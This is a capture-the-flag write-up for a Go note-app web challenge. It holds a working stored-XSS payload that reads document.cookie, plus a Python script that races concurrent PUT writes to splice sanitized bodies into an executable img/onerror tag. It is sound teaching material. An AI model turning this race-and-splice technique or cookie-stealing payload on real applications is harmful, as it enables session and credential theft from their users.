← Back to Writeups
CUSTOMNormalWeb

lt-w / <\w+ / less_than_w_plus

XESXOR9/10/20264 min read
#web#custom#normal#concurrent_put_race#console_cookie_exfiltration#file_write_splicing#stored_xss#cve-2021-29272#cve-2025-22872#cve-2026-42502

lt-w / <\w+ / less_than_w_plus

Platform: sekai2026 | Category: Web | Type: Challenge | Difficulty: Normal | OS: NA | Author: XESXOR | Date: 2026-06-29 | Status: Solved Techniques: concurrent_put_race, console_cookie_exfiltration, file_write_splicing, stored_xss

Summary

Task: a Go note app sanitizes each message and serves stored files as HTML to an admin bot. Solution: race concurrent PUT writes so two individually safe sanitized bodies splice into an executable img/onerror tag.

lt-w / <\w+ / less_than_w_plus — sekai2026

Description

Original organizer task description was not available in the solving notes.

English summary: the challenge provided a Go note application and an admin bot. The goal was to make the bot visit an attacker-controlled note and print its FLAG cookie to the console.

Analysis

The application stores notes as files under /app/notes/{uuid} and serves them with:

http
Content-Type: text/html;charset=utf-8

Creating or updating a note runs this sanitizer in app/main.go:

go
sanitized := bluemonday.StrictPolicy().Sanitize(msg)
sanitized = strings.ReplaceAll(sanitized, "&lt;", "<")
sanitized = strings.ReplaceAll(sanitized, "&gt;", ">")
sanitized = regexp.MustCompile(`<(/)?\w+`).ReplaceAllString(sanitized, "")

Per request this looks fairly strong for normal stored XSS. Encoded tags are decoded and then the final regex removes any < followed by an optional slash and a word character. For example, &lt;img/src/onerror=console.log(document.cookie)&gt; becomes only the attribute fragment src/onerror=console.log(document.cookie)>, not an element.

The important bug was not inside the HTML parser or bluemonday. It was in the update path:

go
f, _ := os.OpenFile(filePath, os.O_WRONLY|os.O_TRUNC, 0644)
f.Write([]byte(sanitized))

There was no locking. Concurrent PUT /notes/{id} requests can open/truncate/write the same file at overlapping times. Each request writes a body that was safe by itself, but a later short write can overwrite the beginning of a longer write and create unsafe HTML in the final file.

The admin bot sets FLAG as a cookie for ltw.chals.sekai.team, visits https://ltw.chals.sekai.team/notes/{uuid}, and logs browser console output. CSP is restrictive for external resources but allows inline JavaScript:

http
default-src 'none'; script-src 'unsafe-inline'

So console.log(document.cookie) is enough for exfiltration.

Failed Leads

  • Direct encoded tags were reduced to harmless fragments, e.g. &lt;img...&gt; became src=...> after the regex.
  • Literal NULL variants such as <\x00img and <\x00script> did not become working Chrome tags.
  • The old bluemonday CVE-2021-29272 / GHSA-3x58-xr87-2fcj scrİpt bypass was patched in the used version, v1.0.27.
  • golang.org/x/net/html CVE-2025-22872 and CVE-2026-42502 style parser differentials were investigated, but StrictPolicy plus the final regex killed the tested payload families.
  • Bot/proxy tricks were unnecessary because the UUID-only bot URL and fixed response headers did not expose the cookie without script execution.

Solution

Use two individually safe payloads against the same note ID:

  1. Payload A:

    text
    message=&lt;

    After sanitization this becomes the one-byte string:

    html
    <
  2. Payload B:

    text
    message=Bimg/src/onerror=console.log(document.cookie)>

    It contains no <\w+ opener, so it remains:

    html
    Bimg/src/onerror=console.log(document.cookie)>

Race many concurrent PUT requests with these two bodies. The winning interleaving is:

  1. Payload B opens the file, truncates it, and writes Bimg/src/onerror=console.log(document.cookie)>.

  2. Payload A, already opened on the same file, writes its single byte < at offset 0 afterward.

  3. The final file becomes:

    html
    <img/src/onerror=console.log(document.cookie)>

Chrome treats the slash after img as an attribute separator, producing an image element roughly equivalent to:

html
<img src="" onerror="console.log(document.cookie)">

The empty/broken image source triggers onerror, and the bot prints the cookie.

Production was verified with note ID:

text
f3a3ea11-df14-4d8f-9998-110ee1b4ee5e

whose final body was:

html
<img/src/onerror=console.log(document.cookie)>

The admin bot log contained:

text
console.log: FLAG=SEKAI{REDACTED}

Exploit Sketch

The working script was saved as tasks/sekai2026/lt-w/race_put.py. Its core logic is:

python
#!/usr/bin/env python3
import concurrent.futures
import re
import urllib.parse
import urllib.request

BASE = "https://ltw.chals.sekai.team"

class NoRedirect(urllib.request.HTTPRedirectHandler):
    def redirect_request(self, req, fp, code, msg, headers, newurl):
        return None

opener = urllib.request.build_opener(NoRedirect)

def request(method, path, data=None):
    body = None if data is None else urllib.parse.urlencode(data).encode()
    req = urllib.request.Request(BASE + path, data=body, method=method)
    try:
        return opener.open(req, timeout=10).read()
    except urllib.error.HTTPError as e:
        return e.read()

def create_note():
    req = urllib.request.Request(
        BASE + "/create",
        data=urllib.parse.urlencode({"message": "x"}).encode(),
        method="POST",
    )
    try:
        resp = opener.open(req, timeout=10)
        loc = resp.headers.get("Location")
    except urllib.error.HTTPError as e:
        loc = e.headers.get("Location")
    return re.search(r"/notes/([0-9a-fA-F-]+)", loc).group(1)

def put(note_id, msg):
    request("PUT", f"/notes/{note_id}", {"message": msg})

def get(note_id):
    return urllib.request.urlopen(BASE + f"/notes/{note_id}", timeout=10).read().decode()

def race_once(note_id, workers=80):
    payloads = ["&lt;", "Bimg/src/onerror=console.log(document.cookie)>"]
    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = [ex.submit(put, note_id, payloads[i & 1]) for i in range(workers)]
        for f in futures:
            try:
                f.result()
            except Exception:
                pass
    return get(note_id)

note_id = create_note()
for i in range(200):
    body = race_once(note_id)
    if body.startswith("<img") or body.startswith("<img/"):
        print("HIT", note_id, repr(body))
        break

After a hit, submit the note ID to the admin bot.